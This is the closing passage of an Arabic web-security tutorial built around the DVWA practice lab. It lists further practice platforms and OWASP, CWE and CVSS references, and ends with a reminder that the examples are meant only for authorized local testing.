DVWA يعطيك الأساس. للانتقال إلى مستوى أعلى: PortSwigger Web Security Academy (مختبرات مجانية لكل فئة)، OWASP Juice Shop (تطبيق حديث بثغرات API وJWT)، ثم HackTheBox وTryHackMe لسيناريوهات كاملة. القاعدة: لا تنتقل قبل أن تكتب سلسلة استغلال كاملة بنفسك.

36 · المراجع

للرجوع والتوسّع

  • OWASP Top 10 (2021) — الإطار المرجعي لتصنيف المخاطر في تطبيقات الويب.
  • OWASP Web Security Testing Guide (WSTG) — دليل بنود الاختبار خطوة بخطوة.
  • OWASP ASVS — متطلبات التحقق الأمني عند البناء والمراجعة.
  • PortSwigger Web Security Academy — مختبرات تفاعلية مجانية لكل فئة من الثغرات.
  • DVWA (digininja/DVWA) — المستودع الرسمي، مع الشروحات وكود المستويات.
  • CWE / MITRE — تصنيف أسباب الثغرات (CWE-79, CWE-89, CWE-78…).
  • CVSS v3.1 Calculator (FIRST) — لحساب شدة الثغرة بشكل موحّد.
تذكير أخير

كل الأمثلة هنا لمختبر DVWA المحلي. استخدامها ضد نظام لا تملك تفويضًا باختباره مخالف للقانون وللأخلاق المهنية. المعرفة الأمنية تُقاس بما تحمي، لا بما تخترق.